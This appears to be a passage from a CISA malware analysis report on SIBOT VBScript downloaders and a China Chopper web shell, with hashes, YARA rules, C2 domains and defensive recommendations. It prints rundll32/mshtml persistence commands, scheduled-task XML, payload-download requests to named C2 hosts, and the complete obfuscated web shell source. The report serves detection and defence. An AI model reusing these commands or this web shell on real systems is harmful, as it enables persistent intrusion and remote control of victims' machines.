This file is a VBscript that has been identified a variant of MISPRINT/SIBOT malware designed to create a schedule task service that uses Microsoft HTML Application (MSHTA) to execute the obfuscated second stage VBScript (7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb) from the Windows registry key: “HKLMSOFTWAREMicrosoftWindowsCurrentVersionsibot.”

Displayed below is the schedule task service information:

–Begin schedule task–
Name: “WindowsUpdate”    
Description: “This boot task launches the SIH client to finish executing healing actions to fix the system components vital to automatic updating of Windows and Microsoft software installed on the machine. It is enabled only when the daily SIH client task fails to c”
Arguments: “vbscript:”..mshtml,RunHTMLApplication “+Execute(CreateObject(“WScript.Shell”).RegRead(“HKLMSOFTWAREMicrosoftWindowsCurrentVersionsibot”))(window.close)”
Path: rundll32
–End schedule task–

It runs the command below daily:

–Begin command–
“rundll32 vbscript:”..mshtml,RunHTMLApplication “+Execute(CreateObject(“WScript.Shell”).RegRead(“HKLMSOFTWAREMicrosoftWindowsCurrentVersionsibot”))(window.close)”
–End command–

Displayed below is the content of the script daily scheduled task Extensible Markup Language (XML) created at the time of analysis:

–Begin scheduled task XML–
<?xml version=”1.0″ encoding=”UTF-16″?>rn
<Task version=”1.2″
   xmlns=”hxxp[:]//schemas.microsoft.com/windows/2004/02/mit/task”>rn
   <RegistrationInfo>rn    
       <Description>This boot task launches the SIH client to finish executing healing actions to fix the system components vital to automatic updating of Windows and Microsoft software installed on the machine. It is enabled only when the daily SIH client task fails to c</Description>rn
   </RegistrationInfo>rn
   <Triggers>rn    
       <CalendarTrigger id=”DailyTriggerId”>rn    
           <StartBoundary>2021-03-12T18:27:56</StartBoundary>rn    
           <ExecutionTimeLimit>PT10M</ExecutionTimeLimit>rn    
           <Enabled>true</Enabled>rn    
           <ScheduleByDay>rn        
               <DaysInterval>1</DaysInterval>rn    
           </ScheduleByDay>rn    
       </CalendarTrigger>rn
   </Triggers>rn
   <Principals>rn    
       <Principal>rn    
           <RunLevel>HighestAvailable</RunLevel>rn    
       </Principal>rn
   </Principals>rn
   <Settings>rn    
       <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>rn    
       <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>rn    
       <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>rn    
       <AllowHardTerminate>true</AllowHardTerminate>rn    
       <StartWhenAvailable>true</StartWhenAvailable>rn    
       <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>rn    
       <IdleSettings>rn    
           <Duration>PT10M</Duration>rn    
           <WaitTimeout>PT1H</WaitTimeout>rn    
           <StopOnIdleEnd>true</StopOnIdleEnd>rn    
           <RestartOnIdle>false</RestartOnIdle>rn    
       </IdleSettings>rn    
       <AllowStartOnDemand>true</AllowStartOnDemand>rn    
       <Enabled>true</Enabled>rn    
       <Hidden>true</Hidden>rn    
       <RunOnlyIfIdle>false</RunOnlyIfIdle>rn    
       <WakeToRun>false</WakeToRun>rn    
       <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>rn    
       <Priority>7</Priority>rn
   </Settings>rn
   <Actions>rn    
       <Exec>rn    
           <Command>rundll32</Command>rn    
           <Arguments>vbscript:”..mshtml,RunHTMLApplication “+Execute(CreateObject(“WScript.Shell”).RegRead(“HKLMSOFTWAREMicrosoftWindowsCurrentVersionsibot”))(window.close)</Arguments>rn    
       </Exec>rn
   </Actions>rn
</Task>”
–End scheduled task XML–

Screenshots

Figure 4 - The content of the vbscript used to create the schedule task service.

Figure 4 – The content of the vbscript used to create the schedule task service.

88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07

Tags

botdownloaderloadertrojan

Details
Name prnmngrz.vbs
Size 13660 bytes
Type ASCII text, with very long lines, with CRLF line terminators
MD5 9812bb73079a739b97f2c3927ad764ba
SHA1 bec3f2a9496a0f11696debf267ba7caf1c81a9a7
SHA256 88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07
SHA512 c6ff6f40c13cd0d60576e06259579af8f087f1a1a0e70429c4ae40feb3156c626b1b43c1072bb7b693c55236d69f00bdefdd062f22b2bcaa9cc37cb3e4b67b98
ssdeep 192:bz7Zhi5jjOB5U1WTQ7dkGixbKOXUHiMLNYy+n8C:bZB8WqaaOXUHiMLNYrnp
Entropy 4.988488
Antivirus
Microsoft Security Essentials TrojanDownloader:VBS/Sibot.A!dha
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
88cd1bc85e… Connected_To eyetechltd.com
Description

This file contains the obfuscated VBScript and has been identified a variant of MISPRINT/SIBOT malware. When executed, it collects the connection Globally Unique Identifier (GUID) associated to the local area network (LAN) connection and the address of a proxy if configured on the victim’s system. It attempts to download a malicious payload from its C2 server using the URI below:

–Begin URI–
“hxxps[:]//www[.]eyetechltd.com/wp-content/themes/betheme/includes”
–End URI–

The HTTP request header contains the extracted connection GUID in the “If-Range” field.

Displayed below is the HTTP request used to download the payload from its C2 server:

–Begin request–
GET /wp-content/themes/betheme/includes HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
If-Range: AACF144C-0770-4FE3-B92B-A4BE71D2F9B9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Host: www[.]eyetechltd.com
–End request–

The payload was not available for analysis. Analysis indicates that the downloaded payload (DLL) will be installed and executed from “c:windowssystem32driversmshidkmdfc.sys” with the command below:

–Begin command–
“rundll32 mshidkmdfc.sys,Control_DllRun”
–End command–

Displayed below are sample de-obfuscated strings fromthe script:

–Begin strings–
“USER-AGENT”
“Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36”
“If-Range”
“WINMGMTS:{IMPERSONATIONLEVEL=IMPERSONATE}!.ROOTDEFAULT:STDREGPROV”
“WINMGMTS:{IMPERSONATIONLEVEL=IMPERSONATE}!.ROOTMICROSOFTHOMENET”
“SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONINTERNET SETTINGS”
“PROXYENABLE”
“rundll32 mshidkmdfc.sys,Control_DllRun”
“c:windowssystem32drivers”
“https[:]//www[.]eyetechltd.com/wp-content/themes/betheme/includes”
“MSXML2.SERVERXMLHTTP.6.0”
“WINHTTP.WINHTTPREQUEST.5.1”
“SELECT * FROM HNET_CONNECTION”
“GET”
–End strings–

Screenshots

Figure 5 - The content of the VBscript used to download a malicious payload from its C2 server.

Figure 5 – The content of the VBscript used to download a malicious payload from its C2 server.

eyetechltd.com

Tags

command-and-control

URLs
  • eyetechltd.com/wp-content/themes/betheme/includes
Ports
HTTP Sessions
  • GET /wp-content/themes/betheme/includes HTTP/1.1
    Connection: Keep-Alive
    Accept: */*
    Accept-Language: en-us
    If-Range: AACF144C-0770-4FE3-B92B-A4BE71D2F9B9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
    Host: www[.]eyetechltd.com
Whois

Domain Name: EYETECHLTD.COM
Registry Domain ID: 135677917_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.tucows.com
Registrar URL: http://tucowsdomains.com
Updated Date: 2020-07-30T09:39:33
Creation Date: 2004-11-23T16:54:52
Registrar Registration Expiration Date: 2022-11-23T16:54:52
Registrar: TUCOWS, INC.
Registrar IANA ID: 69
Reseller: OnDNet Services Ltd
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Registry Registrant ID:
Registrant Name: REDACTED FOR PRIVACY
Registrant Organization: REDACTED FOR PRIVACY
Registrant Street: REDACTED FOR PRIVACY
Registrant City: REDACTED FOR PRIVACY
Registrant State/Province: Msida
Registrant Postal Code: REDACTED FOR PRIVACY
Registrant Country: MT
Registrant Phone: REDACTED FOR PRIVACY
Registrant Phone Ext:
Registrant Fax: REDACTED FOR PRIVACY
Registrant Fax Ext:
Registrant Email: https://tieredaccess.com/contact/6e7ea567-7210-4645-a3e9-c430d1ec2730
Registry Admin ID:
Admin Name: REDACTED FOR PRIVACY
Admin Organization: REDACTED FOR PRIVACY
Admin Street: REDACTED FOR PRIVACY
Admin City: REDACTED FOR PRIVACY
Admin State/Province: REDACTED FOR PRIVACY
Admin Postal Code: REDACTED FOR PRIVACY
Admin Country: REDACTED FOR PRIVACY
Admin Phone: REDACTED FOR PRIVACY
Admin Phone Ext:
Admin Fax: REDACTED FOR PRIVACY
Admin Fax Ext:
Admin Email: REDACTED FOR PRIVACY
Registry Tech ID:
Tech Name: REDACTED FOR PRIVACY
Tech Organization: REDACTED FOR PRIVACY
Tech Street: REDACTED FOR PRIVACY
Tech City: REDACTED FOR PRIVACY
Tech State/Province: REDACTED FOR PRIVACY
Tech Postal Code: REDACTED FOR PRIVACY
Tech Country: REDACTED FOR PRIVACY
Tech Phone: REDACTED FOR PRIVACY
Tech Phone Ext:
Tech Fax: REDACTED FOR PRIVACY
Tech Fax Ext:
Tech Email: REDACTED FOR PRIVACY
Name Server: ernest.ns.cloudflare.com
Name Server: marjory.ns.cloudflare.com
DNSSEC: unsigned
Registrar Abuse Contact Email: domainabuse@tucows.com
Registrar Abuse Contact Phone: +1.4165350123
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

Relationships
eyetechltd.com Connected_From 88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07
Description

prnmngrz.vbs (88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07) attempts to connect to this domain.

a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f

Tags

botdownloaderloadertrojan

Details
Name Final_vbscript.vbs
Size 12928 bytes
Type ASCII text, with very long lines, with CRLF line terminators
MD5 98c8f536eb39821fa4a98e80bbad81af
SHA1 10b492375c838ce87fc3f2f648de84e3a1443ae6
SHA256 a9037af30ff270901e9d5c2ee5ba41d547bc19c880f5cb27f50428f9715d318f
SHA512 b894d9b68578d47955665225458ac3727f4d5de5ea6e2e882bb60cc0d4917554d28de85a3489e0f0ec33cbb99b69d2aac3a266e3723baae09665aa03104b8b39
ssdeep 192:GHne1RISnxSQc6Hv1t7iaLA8G/5c+Cb5E94RqS6S8Mn4jkaA9c1:GHne157i6G/5c+O5e/S6SmkX9c1
Entropy 4.961650
Antivirus
Microsoft Security Essentials TrojanDownloader:VBS/Sibot.A!dha
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file contains the de-obfuscated second stage VBScript (7e05ff08e32a64da75ec48b5e738181afb3e24a9f1da7f5514c5a11bb067cbfb) embedded in the Windows registry “HKLMSOFTWAREMicrosoftWindowsCurrentVersionsibot{Default}.” The script is obfuscated and when executed, it collects the connection GUID associated to the LAN connection and the address of a proxy if configured on the victim’s system. It attempts to download a malicious payload from a C2 server. Note: The C2 server was identified as a compromised domain and was redacted for privacy.

The HTTP request header contains the extracted connection GUID in the “X-XSRF-TOKEN” field.

Displayed below is the HTTP request used to download the payload from its C2 server:

–Begin request–
GET /includes HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: Chromium/78.0.3882.0 Linux
X-XSRF-TOKEN: AACF144C-0770-4FE3-B92B-A4BE71D2F9B9
Host: [Redacted]
–End request–

The payload was not available for analysis. Analysis indicates that the downloaded payload will be installed and executed from “c:windowssystem32driversnetioc.sys” with the command below:

–Begin command–
“rundll32 netioc.sys,NdfRunDllDuplicateIPDefendingSystem”    
–End command–

Displayed below are sample de-obfuscated strings from the script:

–Begin strings–
“USER-AGENT”
“Chromium/78.0.3882.0 Linux”
“X-XSRF-TOKEN”
“WINMGMTS:{IMPERSONATIONLEVEL=IMPERSONATE}!.ROOTDEFAULT:STDREGPROV”
“WINMGMTS:{IMPERSONATIONLEVEL=IMPERSONATE}!.ROOTMICROSOFTHOMENET”
“SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONINTERNET SETTINGS”
“PROXYENABLE”
“rundll32 mshidkmdfc.sys,Control_DllRun”
“c:windowssystem32drivers”
“[Redacted C2]”
“MSXML2.SERVERXMLHTTP.6.0”
“WINHTTP.WINHTTPREQUEST.5.1”
“SELECT * FROM HNET_CONNECTION”
“GET”
–End strings–

Screenshots

Figure 6 - The code snippet of the final de-obfuscated vbscript embedded in the Windows registry "HKLMSOFTWAREMicrosoftWindowsCurrentVersionsibot(Default) used to download the malicious payload from its C2 server.

Figure 6 – The code snippet of the final de-obfuscated vbscript embedded in the Windows registry “HKLMSOFTWAREMicrosoftWindowsCurrentVersionsibot(Default) used to download the malicious payload from its C2 server.

e9ddf486e5aeac02fc279659b72a1bec97103f413e089d8fabc30175f4cdbf15

Tags

bottrojan

Details
Name rundll32file_schtaskdaily.vbs
Size 3270 bytes
Type ASCII text, with very long lines, with CRLF line terminators
MD5 97306a881289b3c32085d0901b6d08a7
SHA1 1075639fb7d97ade8bcbe86d38835ac1b71e6237
SHA256 e9ddf486e5aeac02fc279659b72a1bec97103f413e089d8fabc30175f4cdbf15
SHA512 de4e1aaa87b7b38b831a5450c557c3b22a2866b7fb871af3ac7cdf0c208739e01cd86aa9ef7cfd645d95a3993f5f6eefdbe513e8d2af4812a32f8923d2690dbf
ssdeep 96:yG/J/WXQGApwj3Fv2tOiFbTLyD1rvdr1dD2PVLFi+:yG/RWXIw1EpTLa1rFr1KLFi+
Entropy 5.622366
Antivirus
Microsoft Security Essentials Trojan:VBS/Sibot.B!dha
YARA Rules
  • rule CISA_3P_10327841_04 : SIBOT trojan bot vbscript
    {
       meta:
           Author = “CISA Trusted Third Party”
           Incident = “10327841”
           Date = “2021-03-26”
           Actor = “n/a”
           Category = “Trojan BOT VBScript”
           Family = “SIBOT”
           Description = “Detects Scheduled Task persistence for sibot variant AikCetnrll”
       strings:
           $a1 = “Actions.Create” fullword ascii
           $a2 = “RegistrationInfo” fullword ascii
           $a3 = “StartWhenAvailable” fullword ascii
           $z1 = “MicrosoftWindowsCertificateServicesClient” fullword ascii
           $z2 = “CreateObject(“Schedule.Service”)” fullword ascii
           $z3 = “c:windowssystem32printing_admin_scriptsen-usprndrvrn.vbs” fullword ascii
           $z4 = “AikCetnrll” fullword ascii
           $z5 = “This task enrolls a certificate for Attestation Identity Key” fullword ascii
       condition:
           (3 of ($a*) and 5 of ($z*))
    }
ssdeep Matches

No matches found.

Description

“Rundll32file_schtaskdaily.vbs” is a VBScript that creates a scheduled task that executes “prndrvrn.vbs” (CB80A074E5FDE8D297C2C74A0377E612B4030CC756BAF4FFF3CC2452EBC04A9C ) daily. The file “prndrvrn.vbs” is a variant of the Sibot obfuscated VBScript malware. Despite not containing the string “sibot” at all, both “rundll32file_schtaskdaily.vbs” and “prndrvrn.vbs” are clearly related to existing Sibot samples as reported on by Microsoft and Mandiant because the form, function, and obfuscation algorithms of the scripts are identical. The files differ slightly in specific details of the scheduled task. “Rundll32file_schtaskdaily.vbs” is similar to variant B per previous Microsoft reporting. The only difference is that the scheduled task points to a file on disk instead of the registry. See analyst notes at the end of the report for further details on the variations.

When run without admin credentials, the Windows Script Host provides a pop up with a Permission denied error. When run with admin credentials, rundllfile_schtaskdaily.vbs script begins running inside of the WScript.exe process.

The WScript.exe process creates a scheduled task similar to AikCertEnrollTask, a legitimate task:
Task Name: AikCetnrll
Location: MicrosoftWindowsCertificateServicesClient
Also found on disk in: C:WindowsSystem32TaksMicrosoftWindowsCertificateServicesClientAikCetnrll
Description: This task enrolls a certificate for an Attestation Identity Key. (Same as AikCertEnrollTask)
Credentials: NT AUTHORITYSYSTEM
Security Options: Run with highest Privileges; Run whether user is logged on or not; hidden.

Every day the task is set to run five minutes after initial run time of the script. Ex: Script was run at 1400 the scheduled task will run every day at 1405.
The task executes a rundll32.exe inside a svchost.exe with the arguments: vbscript:”..mshtml,RunHTMLApplication”+Execute(CreateObject(“Scripting.FileSystemObject”).OpenTextFile(“c:windowssystem32printing_admin_scriptsen-usprndrvn.vbs”).ReadAll())(window.close)

This ultimately runs the prndrvrn.vbs inside “C:WindowsSystem32Printing_Admin_Scriptsen-us” daily, with SYSTEM level privileges.
This also means that prndrvrn.vbs must be placed inside the “en-us” folder in order for the scheduled task to run properly.

All variables and Task Scheduler Scripting Objects are obfuscated, but can be determined by referencing the Task Scheduler Scripting Object Microsoft documentation.

Strings of interest:

–Begin strings of interest–
StartWhenAvailable
Hidden
DateAdd
StartBoundary
Id
Enabled
ExecutionTimeLimit = “PT10M”
.Actions.Create(
Schedule.Service
MicrosoftWindowsCertificateServicesClient
This task enrolls a certificate for Attestation Identity Key.
DailyTriggerId
.Paths = “rundll32”
.Arguments = “vbscripts:””..mshtml,RunHTMLApplication
“”Execute(CreateObject(“”Scripting.FileSystemObject””).OpenTextFile(“”c:windowssystem32printing_admin_scriptsen-usprndrvrn.vbs””).ReadAll()(window.close)”
RegisterTaskDefinition( “AikCetnrll”
NT AUTHORITYSYSTEM
–End strings of interest–

Script needs administrator privileges to run correctly.
The Task Name is different from previously-reported Sibot samples.
   AikCetnrll
Task Location is different from previously-reported Sibot samples.
   Task Scheduler Library > Microsoft > Windows > CertificateServicesClient
   Or
   C:WindowsSystem32TaksMicrosoftWindowsCertificateServicesclient
Task Description is different from previously-reported Sibot samples.
   “This task enrolls a certificate for Attestation Identity Key”
Scheduled Task Action is different than previously-reported Sibot samples.
Task Trigger is the same and executes five minutes after initial script runtime.

Task Scheduler Operational Event ID – 140 – User “NT AUTHORITYSYSTEM” updated Task Scheduler task “MicrosoftWindowsCertificateServicesClientAikCetnrll”.

cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c

Tags

botdownloaderloadertrojan

Details
Name prndrvrn.vbs
Size 13110 bytes
Type ASCII text, with very long lines, with CRLF line terminators
MD5 a16f6291e6096cfc2cc901050b922b9e
SHA1 1798d1b45d9dd8c5afd4b0a43490233f61864da3
SHA256 cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c
SHA512 260b88a05d9404efce4611a6576e7fddd76b1f92087ccc0c5d8ae757c939e4fc463a35a2f2c19317f64fa9aa4dbbdb24b7adb2fd48d5a919480239428d5c7ec5
ssdeep 192:ZTq3D3xkQN1myNlxlmuAp5m2MFSeG7+sh1Nqfu3oLixCeSezjYxAb:ZTFC8oN7KV3oLixHSezkAb
Entropy 4.949764
Antivirus
Microsoft Security Essentials TrojanDownloader:VBS/Sibot.A!dha
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
cb80a074e5… Connected_To sense4baby.fr
Description

This file “prndrvrn.vbs” is a VBScript that preforms a DNS query to Sense4baby.fr followed by an HTTPS TLS1.2 connection. It is designed to download a payload, store it as a .sys file, and execute it. Prndrvrn.vbs is a variant of the Sibot obfuscated VBScript malware. Despite not containing the string “sibot”, both rundll32file_schtaskdaily.vbs and prndrvrn.vbs are clearly related to existing Sibot samples as reported on by Microsoft and Mandiant because the form, function, and obfuscation algorithms of the scripts are identical. They differ slightly in specific details of the scheduled task. Prndrvrn.vbs is variant C as described in Microsoft’s reporting.

Prndrvrn.vbs variables and .NET functions are obfuscated. The variable and function names can be de-obfuscated by comparing the structures and purposes of the functions to .NET documentation to determine what they represent. The strings in the program are obfuscated by an encoding function found towards the end of the script.

The script can run with or without administrator permissions. However, the other scripts used for persistence (rundll32file_schtasksdaily.vbs) run prndrvrn.vbs with SYSTEM level privileges.

When run, prndrvrn.vbs starts inside of Wscript.exe and immediately preforms a DNS query to Sense4baby.fr. After receiving a response it begins setting up a TLS1.2 connection. Previous reporting indicates the script tries to pull a .sys file from the URL hxxps[:]//sense4baby.fr/sites/default/files/styles with an HTTPS GET request.

After receiving the .sys, prdndrvrn.vbs executes the .sys file. Further analysis is not possible without a copy of the .sys file the script is requesting; however, the script appears identical to Microsoft reported Sibot Variant C except for the domain name, payload name, and payload path. According to Microsoft reporting, the .sys file downloaded by Sibot Variant C is actually a .dll file with the extension changed to .sys to obfuscate its true nature.

Network Artifacts
   (“rundll32 wudfrdm.sys,ExecuteScheduledSPPCreation”,”c:windowssystem32drivers”,”hxxps[:]//sense4baby.fr/sites/default/files/styles”,”GET”)

The intended purpose is to reach out and download file wudfrdm.sys from domain “hxxps[:]//sense4baby.fr/sites/default/files/styles” into folder C:windowssystem32drivers via an HTTP GET Request

Observed in network traffic:
   User Agent: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36”
   GUID String: “{068B2FE5-EB56-EE50-7A0C-10114EA138E3}”

sense4baby.fr

Tags

command-and-control

URLs
  • sense4baby.fr/sites/default/files/styles
Whois

domain:     sense4baby.fr
status:     ACTIVE
hold:        NO
holder-c:    IANB3-FRNIC
admin-c:     IANB3-FRNIC
tech-c:     FK3162-FRNIC
zone-c:     NFC1-FRNIC
nsl-id:     NSL5536-FRNIC
dsl-id:     SIGN1631703-FRNIC
registrar: HOSTING CONCEPTS B.V.
Expiry Date: 2021-07-16T14:47:29Z
created:     2019-07-16T14:47:29Z
last-update: 2020-07-14T13:07:16Z
source:     FRNIC

ns-list:     NSL5536-FRNIC
nserver:     ns1.openprovider.nl
nserver:     ns2.openprovider.be
nserver:     ns3.openprovider.eu
source:     FRNIC

ds-list:     SIGN1631703-FRNIC
key1-tag:    19594
key1-algo: 8 [RSASHA256]
key1-dgst-t: 2 [SHA-256]
key1-dgst: F144A808B4B16BAF5D9998B8A4153C6C405A967007BD4DACE2C60A4D8A0C36C2
source:     FRNIC

registrar: HOSTING CONCEPTS B.V.
type:        Isp Option 1
address:     Kipstraat 3c-5c
address:     3011RR ROTTERDAM
country:     NL
phone:     +31 10 448 2299
fax-no:     +31 10 244 0250
e-mail:     sales@openprovider.com
website:     https://www.openprovider.com
anonymous: NO
registered: 2005-07-01T12:00:00Z
source:     FRNIC

nic-hdl:     IANB3-FRNIC
type:        ORGANIZATION
contact:     ICT Automatisering Nederland B.V.
address:     ICT Automatisering Nederland B.V.
address:     Munsterstraat 7
address:     7418 EV Deventer
country:     NL
phone:     +31.889082344
registrar: HOSTING CONCEPTS B.V.
changed:     2019-01-07T13:52:22Z nic@nic.fr
anonymous: NO
obsoleted: NO
eligstatus: ok
eligsource: REGISTRAR
eligdate:    2021-02-08T15:58:27Z
reachmedia: email
reachstatus: ok
reachsource: REGISTRAR
reachdate: 2021-02-08T15:58:27Z
source:     FRNIC

nic-hdl:     IANB3-FRNIC
type:        ORGANIZATION
contact:     ICT Automatisering Nederland B.V.
address:     ICT Automatisering Nederland B.V.
address:     Munsterstraat 7
address:     7418 EV Deventer
country:     NL
phone:     +31.889082344
registrar: HOSTING CONCEPTS B.V.
changed:     2019-01-07T13:52:22Z nic@nic.fr
anonymous: NO
obsoleted: NO
eligstatus: ok
eligsource: REGISTRAR
eligdate:    2021-02-08T15:58:27Z
reachmedia: email
reachstatus: ok
reachsource: REGISTRAR
reachdate: 2021-02-08T15:58:27Z
source:     FRNIC

nic-hdl:     FK3162-FRNIC
type:        PERSON
address:     ICT Automatisering Nederland B.V.
address:     Munsterstraat 7
address:     7418 EV Deventer
country:     NL
phone:     +31.889082344
registrar: HOSTING CONCEPTS B.V.
changed:     2019-01-07T13:52:23Z nic@nic.fr
anonymous: NO
obsoleted: NO
eligstatus: ok
eligsource: REGISTRAR
eligdate:    2021-02-08T15:58:28Z
reachmedia: email
reachstatus: ok
reachsource: REGISTRAR
reachdate: 2021-02-08T15:58:28Z
source:     FRNIC

Relationships
sense4baby.fr Connected_From cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c
Description

prndrvrn.vbs (cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c) attempts to connect to this domain.

0d770e0d6ee77ed9d53500688831040b83b53b9de82afa586f20bb1894ee7116

Tags

webshell

Details
Name owafont.aspx
Size 377 bytes
Type ASCII text, with very long lines, with no line terminators
MD5 4bb694523bed3645a1671fa7c6ff0dfb
SHA1 ad1e0abbb592edf7102c2dbcc9bf99e6fe742d29
SHA256 0d770e0d6ee77ed9d53500688831040b83b53b9de82afa586f20bb1894ee7116
SHA512 080b8bd560244427b77428e66558d0fd0c5a3feac735d5be5fc028bcab7b5cf7066674b54c81375f5291210d6bfb2afa7eb493a62f33e9a5b53f2ecf510bfe50
ssdeep 6:aEm70Vqp9skhXxFTrI8LwgHluPkcuG6LNSkbnKRWRt7GTS+3fGlEc39BDz:u70V4XDTrIwwgHlubyNSkhzQ3vGm6/
Entropy 5.292561
Antivirus

No matches found.

YARA Rules
  • rule CISA_3P_10327841_03 : CHINACHOPPER webshell
    {
       meta:
           Author = “CISA Trusted Third Party”
           Incident = “10327841”
           Date = “2021-03-26”
           Actor = “n/a”
           Category = “Webshell”
           Family = “CHINACHOPPER”
           Description = “Detects iteration of China Chopper webshell server-side component”
       strings:
           $first_bytes = “<%”
           $replace = “.Replace(“/*/”,””)” nocase
           $eval = “eval” nocase
           $toString = “tostring” nocase
           $length = “length” nocase
       condition:
           all of them
    }
ssdeep Matches

No matches found.

Description

This file is an iteration of the China Chopper webshell server-side component. It has been customized and obfuscated to avoid string-based signature or rule detection. The webshell was observed being placed on a network with an active SUNSHUTTLE/GoldMax infection. The webshell would provide the actor with an alternative method of accessing the network if the SUNSHUTTLE/GoldMax infection was remediated.

The main command executed is:

eval(eval(Request.Item[G0T4oS6pa7FbAl2], unsafe)unsafe)

The components of this string have been obfuscated in two ways
1.    The strings have been reversed. There is a function in the script that will reverse these upon execution
2.    “/*/” strings have been inserted at various points in the strings. This will prevent any signature detection on words such as “Request” or “unsafe”

Note: The name “China Chopper” does not positively indicate Chinese attribution to this sample, it’s merely the name of a common web shell which was first used by Chinese APT groups but has since been used by many actors. Attribution of this sample is not discussed in this report.

–Begin original script–
<%@ Page Language=”Jscript”%>
<% function ByzjwD(s){
var Ewl = s.Length; var Jcw = “”;
for(var i = Ewl – 1; i >= 0; i–){
var Jcw = Jcw + s[i].ToString();
} return Jcw;
}
var Yhb = ByzjwD(“]/*/”” + ByzjwD(“2lAbF7ap6So4T0G”) + “”/*/[me/*/t/*/I/*/./*/ts/*/eu/*/qe/*/R/*/”).Replace(“/*/”,””);
var Vzc = ByzjwD(“e/*//*/f/*/as/*/nu/*/”).Replace(“/*/”,””);
eval(eval(Yhb,Vzc),Vzc);
%>
–End original script–

Relationship Summary

0affab34d9… Contains d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d
d8009ad960… Connected_To 185.225.69.69
d8009ad960… Contained_Within 0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9
185.225.69.69 Connected_From d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d
185.225.69.69 Connected_From fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836
f2a8bdf135… Connected_To nikeoutletinc.org
nikeoutletinc.org Connected_From ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def
nikeoutletinc.org Connected_From f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2
f28491b367… Contains fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836
fa1959dd38… Contained_Within f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c
fa1959dd38… Connected_To 185.225.69.69
b9a2c986b6… Contains 94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45
94c58c7fb4… Connected_To reyweb.com
94c58c7fb4… Contained_Within b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8
reyweb.com Connected_From 94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45
ec5f07c169… Connected_To nikeoutletinc.org
4e8f24fb50… Connected_To megatoolkit.com
4e8f24fb50… Dropped bc7a3b3cfae59f1bfbde57154cb1e7deebdcdf6277ac446919df07e3b8a6e4df
megatoolkit.com Connected_From 4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec
bc7a3b3cfa… Dropped_By 4e8f24fb50a08c12636f3d50c94772f355d5229e58110cccb3b4835cb2371aec
88cd1bc85e… Connected_To eyetechltd.com
eyetechltd.com Connected_From 88cd1bc85e6a57fa254ede18f96566b33cee999c538902aefc5b819d71163d07
cb80a074e5… Connected_To sense4baby.fr
sense4baby.fr Connected_From cb80a074e5fde8d297c2c74a0377e612b4030cc756baf4fff3cc2452ebc04a9c

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

  • Maintain up-to-date antivirus signatures and engines.
  • Keep operating system patches up-to-date.
  • Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
  • Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
  • Enforce a strong password policy and implement regular password changes.
  • Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
  • Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
  • Disable unnecessary services on agency workstations and servers.
  • Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
  • Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
  • Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
  • Scan all software downloaded from the Internet prior to executing.
  • Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

